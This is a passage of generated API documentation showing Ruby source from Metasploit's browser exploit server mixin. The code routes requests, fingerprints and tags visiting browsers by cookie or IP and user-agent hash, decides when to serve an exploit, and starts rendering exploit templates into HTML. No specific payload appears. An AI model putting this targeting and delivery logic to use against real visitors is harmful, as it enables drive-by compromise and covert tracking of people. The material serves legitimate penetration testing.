<span class='kw'>when</span> <span class='tstring'><span class='regexp_beg'>/</span><span class='embexpr_beg'>#{</span><span class='ivar'>@exploit_receiver_page</span><span class='embexpr_end'>}</span><span class='regexp_end'>/</span></span>
|
||
<span class='comment'>#
|
||
</span> <span class='comment'># This sends the actual exploit. A module should define its own
|
||
</span> <span class='comment'># on_request_exploit() to get the target information
|
||
</span> <span class='comment'>#
|
||
</span> <span class='id identifier rubyid_tag'>tag</span> <span class='op'>=</span> <span class='id identifier rubyid_retrieve_tag'>retrieve_tag</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_request'>request</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Serving exploit to user </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cli'>cli</span><span class='period'>.</span><span class='id identifier rubyid_peerhost'>peerhost</span><span class='embexpr_end'>}</span><span class='tstring_content'> with tag </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_tag'>tag</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_profile'>profile</span> <span class='op'>=</span> <span class='id identifier rubyid_browser_profile'>browser_profile</span><span class='lbracket'>[</span><span class='id identifier rubyid_tag'>tag</span><span class='rbracket'>]</span>
|
||
<span class='kw'>if</span> <span class='id identifier rubyid_profile'>profile</span><span class='period'>.</span><span class='id identifier rubyid_nil?'>nil?</span>
|
||
<span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Browser visiting directly to the exploit URL is forbidden.</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_send_not_found'>send_not_found</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='rparen'>)</span>
|
||
<span class='kw'>elsif</span> <span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='symbol'>:tried</span><span class='rbracket'>]</span> <span class='op'>&&</span> <span class='op'>!</span><span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Retries</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Target </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cli'>cli</span><span class='period'>.</span><span class='id identifier rubyid_peerhost'>peerhost</span><span class='embexpr_end'>}</span><span class='tstring_content'> with tag \"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_tag'>tag</span><span class='embexpr_end'>}</span><span class='tstring_content'>\" wants to retry the module, not allowed.</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_send_not_found'>send_not_found</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='rparen'>)</span>
|
||
<span class='kw'>else</span>
|
||
<span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='symbol'>:tried</span><span class='rbracket'>]</span> <span class='op'>=</span> <span class='kw'>true</span>
|
||
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Setting target \"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_tag'>tag</span><span class='embexpr_end'>}</span><span class='tstring_content'>\" to :tried.</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_try_set_target'>try_set_target</span><span class='lparen'>(</span><span class='id identifier rubyid_profile'>profile</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_bad_reqs'>bad_reqs</span> <span class='op'>=</span> <span class='id identifier rubyid_get_bad_requirements'>get_bad_requirements</span><span class='lparen'>(</span><span class='id identifier rubyid_profile'>profile</span><span class='rparen'>)</span>
|
||
<span class='kw'>if</span> <span class='id identifier rubyid_bad_reqs'>bad_reqs</span><span class='period'>.</span><span class='id identifier rubyid_empty?'>empty?</span>
|
||
<span class='id identifier rubyid_browser_info'>browser_info</span> <span class='op'>=</span> <span class='id identifier rubyid_profile'>profile</span><span class='period'>.</span><span class='id identifier rubyid_dup'>dup</span>
|
||
<span class='kw'>begin</span>
|
||
<span class='id identifier rubyid_method'>method</span><span class='lparen'>(</span><span class='symbol'>:on_request_exploit</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_call'>call</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_request'>request</span><span class='comma'>,</span> <span class='id identifier rubyid_browser_info'>browser_info</span><span class='rparen'>)</span>
|
||
<span class='kw'>rescue</span> <span class='const'><span class='object_link'><a href="BrowserExploitServer/BESException.html" title="Msf::Exploit::Remote::BrowserExploitServer::BESException (class)">BESException</a></span></span> <span class='op'>=></span> <span class='id identifier rubyid_e'>e</span>
|
||
<span class='id identifier rubyid_elog'><span class='object_link'><a href="../../../top-level-namespace.html#elog-instance_method" title="#elog (method)">elog</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>BESException</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='label'>error:</span> <span class='id identifier rubyid_e'>e</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_send_not_found'>send_not_found</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>BESException: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_e'>e</span><span class='period'>.</span><span class='id identifier rubyid_message'>message</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span>
|
||
<span class='kw'>else</span>
|
||
<span class='id identifier rubyid_print_warning'>print_warning</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Exploit requirement(s) not met: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_bad_reqs'>bad_reqs</span> <span class='op'>*</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>, </span><span class='tstring_end'>'</span></span><span class='embexpr_end'>}</span><span class='tstring_content'>. For more info: http://r-7.co/PVbcgx</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='kw'>if</span> <span class='id identifier rubyid_bad_reqs'>bad_reqs</span><span class='period'>.</span><span class='id identifier rubyid_include?'>include?</span><span class='lparen'>(</span><span class='symbol'>:vuln_test</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_error_string'>error_string</span> <span class='op'>=</span> <span class='lparen'>(</span><span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_module_info'>module_info</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>BrowserRequirements</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span><span class='lbracket'>[</span><span class='symbol'>:vuln_test_error</span><span class='rbracket'>]</span>
|
||
<span class='kw'>if</span> <span class='id identifier rubyid_error_string'>error_string</span><span class='period'>.</span><span class='id identifier rubyid_present?'>present?</span>
|
||
<span class='id identifier rubyid_print_warning'>print_warning</span><span class='lparen'>(</span><span class='id identifier rubyid_error_string'>error_string</span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span>
|
||
<span class='kw'>end</span>
|
||
<span class='id identifier rubyid_send_not_found'>send_not_found</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span>
|
||
<span class='kw'>end</span>
|
||
|
||
<span class='kw'>else</span>
|
||
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Target </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cli'>cli</span><span class='period'>.</span><span class='id identifier rubyid_peerhost'>peerhost</span><span class='embexpr_end'>}</span><span class='tstring_content'> has requested an unknown path: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_request'>request</span><span class='period'>.</span><span class='id identifier rubyid_uri'>uri</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_send_not_found'>send_not_found</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="process_browser_info-instance_method">
|
||
|
||
#<strong>process_browser_info</strong>(source, cli, request) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Registers target information to @target_profiles</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
<p class="tag_title">Parameters:</p>
|
||
<ul class="param">
|
||
|
||
<li>
|
||
|
||
<span class='name'>source</span>
|
||
|
||
|
||
<span class='type'>(<tt>Symbol</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>Either :script, or :headers</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
<li>
|
||
|
||
<span class='name'>cli</span>
|
||
|
||
|
||
<span class='type'>(<tt>Socket</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>Socket for the browser</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
<li>
|
||
|
||
<span class='name'>request</span>
|
||
|
||
|
||
<span class='type'>(<tt><span class='object_link'><a href="../../../Rex/Proto/Http/Request.html" title="Rex::Proto::Http::Request (class)">Rex::Proto::Http::Request</a></span></tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>The HTTP request sent by the browser</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
291
|
||
292
|
||
293
|
||
294
|
||
295
|
||
296
|
||
297
|
||
298
|
||
299
|
||
300
|
||
301
|
||
302
|
||
303
|
||
304
|
||
305
|
||
306
|
||
307
|
||
308
|
||
309
|
||
310
|
||
311
|
||
312
|
||
313
|
||
314
|
||
315
|
||
316
|
||
317
|
||
318
|
||
319
|
||
320
|
||
321
|
||
322
|
||
323
|
||
324
|
||
325
|
||
326
|
||
327
|
||
328
|
||
329
|
||
330
|
||
331
|
||
332
|
||
333
|
||
334
|
||
335
|
||
336
|
||
337
|
||
338
|
||
339
|
||
340
|
||
341</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 291</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_process_browser_info'>process_browser_info</span><span class='lparen'>(</span><span class='id identifier rubyid_source'>source</span><span class='comma'>,</span> <span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_request'>request</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_tag'>tag</span> <span class='op'>=</span> <span class='id identifier rubyid_retrieve_tag'>retrieve_tag</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_request'>request</span><span class='rparen'>)</span>
|
||
|
||
<span class='id identifier rubyid_browser_profile'>browser_profile</span><span class='lbracket'>[</span><span class='id identifier rubyid_tag'>tag</span><span class='rbracket'>]</span> <span class='op'>||=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span>
|
||
<span class='id identifier rubyid_profile'>profile</span> <span class='op'>=</span> <span class='id identifier rubyid_browser_profile'>browser_profile</span><span class='lbracket'>[</span><span class='id identifier rubyid_tag'>tag</span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='symbol'>:source</span><span class='rbracket'>]</span> <span class='op'>=</span> <span class='id identifier rubyid_source'>source</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span>
|
||
|
||
<span class='id identifier rubyid_found_ua_name'>found_ua_name</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
||
<span class='id identifier rubyid_found_ua_ver'>found_ua_ver</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
||
|
||
<span class='comment'># Gathering target info from the detection stage
|
||
</span> <span class='kw'>case</span> <span class='id identifier rubyid_source'>source</span>
|
||
<span class='kw'>when</span> <span class='symbol'>:script</span>
|
||
<span class='comment'># Gathers target data from a POST request
|
||
</span> <span class='id identifier rubyid_parsed_body'>parsed_body</span> <span class='op'>=</span> <span class='const'>CGI</span><span class='op'>::</span><span class='id identifier rubyid_parse'>parse</span><span class='lparen'>(</span><span class='const'><span class='object_link'><a href="../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_decode_base64'>decode_base64</span><span class='lparen'>(</span><span class='id identifier rubyid_request'>request</span><span class='period'>.</span><span class='id identifier rubyid_body'>body</span><span class='rparen'>)</span> <span class='op'>||</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Received sniffed browser data over POST from </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cli'>cli</span><span class='period'>.</span><span class='id identifier rubyid_peerhost'>peerhost</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_vprint_line'>vprint_line</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_parsed_body'>parsed_body</span><span class='embexpr_end'>}</span><span class='tstring_content'>.</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_parsed_body'>parsed_body</span><span class='period'>.</span><span class='id identifier rubyid_each'>each</span> <span class='lbrace'>{</span> <span class='op'>|</span><span class='id identifier rubyid_k'>k</span><span class='comma'>,</span> <span class='id identifier rubyid_v'>v</span><span class='op'>|</span> <span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='id identifier rubyid_k'>k</span><span class='period'>.</span><span class='id identifier rubyid_to_sym'>to_sym</span><span class='rbracket'>]</span> <span class='op'>=</span> <span class='lparen'>(</span><span class='id identifier rubyid_v'>v</span><span class='period'>.</span><span class='id identifier rubyid_first'>first</span> <span class='op'>==</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>null</span><span class='tstring_end'>'</span></span> <span class='op'>?</span> <span class='kw'>nil</span> <span class='op'>:</span> <span class='id identifier rubyid_v'>v</span><span class='period'>.</span><span class='id identifier rubyid_first'>first</span><span class='rparen'>)</span> <span class='rbrace'>}</span>
|
||
<span class='id identifier rubyid_found_ua_name'>found_ua_name</span> <span class='op'>=</span> <span class='id identifier rubyid_parsed_body'>parsed_body</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ua_name</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_found_ua_ver'>found_ua_ver</span> <span class='op'>=</span> <span class='id identifier rubyid_parsed_body'>parsed_body</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ua_ver</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
||
|
||
<span class='kw'>when</span> <span class='symbol'>:headers</span>
|
||
<span class='comment'># Gathers target data from headers
|
||
</span> <span class='comment'># This may be less accurate, and most likely less info.
|
||
</span> <span class='id identifier rubyid_fp'>fp</span> <span class='op'>=</span> <span class='id identifier rubyid_fingerprint_user_agent'>fingerprint_user_agent</span><span class='lparen'>(</span><span class='id identifier rubyid_request'>request</span><span class='period'>.</span><span class='id identifier rubyid_headers'>headers</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>User-Agent</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
||
<span class='comment'># Module has all the info it needs, ua_string is kind of pointless.
|
||
</span> <span class='comment'># Kill this to save space.
|
||
</span> <span class='id identifier rubyid_fp'>fp</span><span class='period'>.</span><span class='id identifier rubyid_delete'>delete</span><span class='lparen'>(</span><span class='symbol'>:ua_string</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_fp'>fp</span><span class='period'>.</span><span class='id identifier rubyid_each'>each</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_k'>k</span><span class='comma'>,</span> <span class='id identifier rubyid_v'>v</span><span class='op'>|</span>
|
||
<span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='id identifier rubyid_k'>k</span><span class='period'>.</span><span class='id identifier rubyid_to_sym'>to_sym</span><span class='rbracket'>]</span> <span class='op'>=</span> <span class='id identifier rubyid_v'>v</span>
|
||
<span class='kw'>end</span>
|
||
<span class='id identifier rubyid_found_ua_name'>found_ua_name</span> <span class='op'>=</span> <span class='id identifier rubyid_fp'>fp</span><span class='lbracket'>[</span><span class='symbol'>:ua_name</span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_found_ua_ver'>found_ua_ver</span> <span class='op'>=</span> <span class='id identifier rubyid_fp'>fp</span><span class='lbracket'>[</span><span class='symbol'>:ua_ver</span><span class='rbracket'>]</span>
|
||
<span class='kw'>end</span>
|
||
|
||
<span class='comment'># Other detections
|
||
</span> <span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='symbol'>:proxy</span><span class='rbracket'>]</span> <span class='op'>=</span> <span class='id identifier rubyid_has_proxy?'>has_proxy?</span><span class='lparen'>(</span><span class='id identifier rubyid_request'>request</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='symbol'>:language</span><span class='rbracket'>]</span> <span class='op'>=</span> <span class='id identifier rubyid_request'>request</span><span class='period'>.</span><span class='id identifier rubyid_headers'>headers</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Accept-Language</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
||
|
||
<span class='comment'># Basic tracking
|
||
</span> <span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='symbol'>:address</span><span class='rbracket'>]</span> <span class='op'>=</span> <span class='id identifier rubyid_cli'>cli</span><span class='period'>.</span><span class='id identifier rubyid_peerhost'>peerhost</span>
|
||
<span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='symbol'>:module</span><span class='rbracket'>]</span> <span class='op'>=</span> <span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_fullname'>fullname</span>
|
||
<span class='id identifier rubyid_profile'>profile</span><span class='lbracket'>[</span><span class='symbol'>:created_at</span><span class='rbracket'>]</span> <span class='op'>=</span> <span class='const'>Time</span><span class='period'>.</span><span class='id identifier rubyid_now'>now</span>
|
||
|
||
<span class='id identifier rubyid_report_client'>report_client</span><span class='lparen'>(</span><span class='lbrace'>{</span>
|
||
<span class='symbol'>:host</span> <span class='op'>=></span> <span class='id identifier rubyid_cli'>cli</span><span class='period'>.</span><span class='id identifier rubyid_peerhost'>peerhost</span><span class='comma'>,</span>
|
||
<span class='symbol'>:ua_string</span> <span class='op'>=></span> <span class='id identifier rubyid_request'>request</span><span class='period'>.</span><span class='id identifier rubyid_headers'>headers</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>User-Agent</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span><span class='comma'>,</span>
|
||
<span class='symbol'>:ua_name</span> <span class='op'>=></span> <span class='id identifier rubyid_found_ua_name'>found_ua_name</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span><span class='comma'>,</span>
|
||
<span class='symbol'>:ua_ver</span> <span class='op'>=></span> <span class='id identifier rubyid_found_ua_ver'>found_ua_ver</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span>
|
||
<span class='rbrace'>}</span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="retrieve_tag-instance_method">
|
||
|
||
#<strong>retrieve_tag</strong>(cli, request) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Retrieves a tag. First it obtains the tag from the browser’s “Cookie” header. If the header is empty (possible if the browser has cookies disabled), then it will return a tag based on IP + the user-agent.</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
<p class="tag_title">Parameters:</p>
|
||
<ul class="param">
|
||
|
||
<li>
|
||
|
||
<span class='name'>request</span>
|
||
|
||
|
||
<span class='type'>(<tt><span class='object_link'><a href="../../../Rex/Proto/Http/Request.html" title="Rex::Proto::Http::Request (class)">Rex::Proto::Http::Request</a></span></tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>The HTTP request sent by the browser</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
268
|
||
269
|
||
270
|
||
271
|
||
272
|
||
273
|
||
274
|
||
275
|
||
276
|
||
277
|
||
278
|
||
279
|
||
280
|
||
281
|
||
282
|
||
283</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 268</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_retrieve_tag'>retrieve_tag</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_request'>request</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_cookie'>cookie</span> <span class='op'>=</span> <span class='const'>CGI</span><span class='op'>::</span><span class='const'>Cookie</span><span class='period'>.</span><span class='id identifier rubyid_parse'>parse</span><span class='lparen'>(</span><span class='id identifier rubyid_request'>request</span><span class='period'>.</span><span class='id identifier rubyid_headers'>headers</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Cookie</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_tag'>tag</span> <span class='op'>=</span> <span class='id identifier rubyid_cookie'>cookie</span><span class='period'>.</span><span class='id identifier rubyid_has_key?'>has_key?</span><span class='lparen'>(</span><span class='id identifier rubyid_cookie_name'>cookie_name</span><span class='rparen'>)</span> <span class='op'>&&</span> <span class='id identifier rubyid_cookie'>cookie</span><span class='lbracket'>[</span><span class='id identifier rubyid_cookie_name'>cookie_name</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_first'>first</span>
|
||
|
||
<span class='kw'>if</span> <span class='id identifier rubyid_tag'>tag</span><span class='period'>.</span><span class='id identifier rubyid_blank?'>blank?</span>
|
||
<span class='comment'># Browser probably doesn't allow cookies, plan B :-/
|
||
</span> <span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>No cookie received for </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cli'>cli</span><span class='period'>.</span><span class='id identifier rubyid_peerhost'>peerhost</span><span class='embexpr_end'>}</span><span class='tstring_content'>, resorting to headers hash.</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_ip'>ip</span> <span class='op'>=</span> <span class='id identifier rubyid_cli'>cli</span><span class='period'>.</span><span class='id identifier rubyid_peerhost'>peerhost</span>
|
||
<span class='id identifier rubyid_os'>os</span> <span class='op'>=</span> <span class='id identifier rubyid_request'>request</span><span class='period'>.</span><span class='id identifier rubyid_headers'>headers</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>User-Agent</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_tag'>tag</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_md5'>md5</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_ip'>ip</span><span class='embexpr_end'>}</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_os'>os</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='kw'>else</span>
|
||
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Received cookie '</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_tag'>tag</span><span class='embexpr_end'>}</span><span class='tstring_content'>' from </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cli'>cli</span><span class='period'>.</span><span class='id identifier rubyid_peerhost'>peerhost</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span>
|
||
|
||
<span class='id identifier rubyid_tag'>tag</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="send_exploit_html-instance_method">
|
||
|
||
#<strong>send_exploit_html</strong>(cli, template, headers = {}) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Converts an ERB-based exploit template into HTML, and sends to client</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
<p class="tag_title">Parameters:</p>
|
||
<ul class="param">
|
||
|
||
<li>
|
||
|
||
<span class='name'>cli</span>
|
||
|
||
|
||
<span class='type'>(<tt>Socket</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>Socket for the browser</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
<li>
|
||
|
||
<span class='name'>template</span>
|
||
|
||
|
||
<span class='type'>(<tt>String</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>The ERB template. If you want to pass the binding object, then this is handled as an Array, with the first element being the HTML, and the second element is the binding object.</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
<li>
|
||
|
||
<span class='name'>headers</span>
|
||
|
||
|
||
<span class='type'>(<tt>Hash</tt>)</span>
|
||
|
||
|
||
<em class="default">(defaults to: <tt>{}</tt>)</em>
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>The custom HTTP headers to include in the response</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
644
|
||
645
|
||
646
|
||
647
|
||
648
|
||
649
|
||
650
|
||
651
|
||
652</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 644</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_send_exploit_html'>send_exploit_html</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_template'>template</span><span class='comma'>,</span> <span class='id identifier rubyid_headers'>headers</span><span class='op'>=</span><span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_html'>html</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
||
<span class='kw'>if</span> <span class='id identifier rubyid_template'>template</span><span class='period'>.</span><span class='id identifier rubyid_class'>class</span> <span class='op'>==</span> <span class='const'>Array</span>
|
||
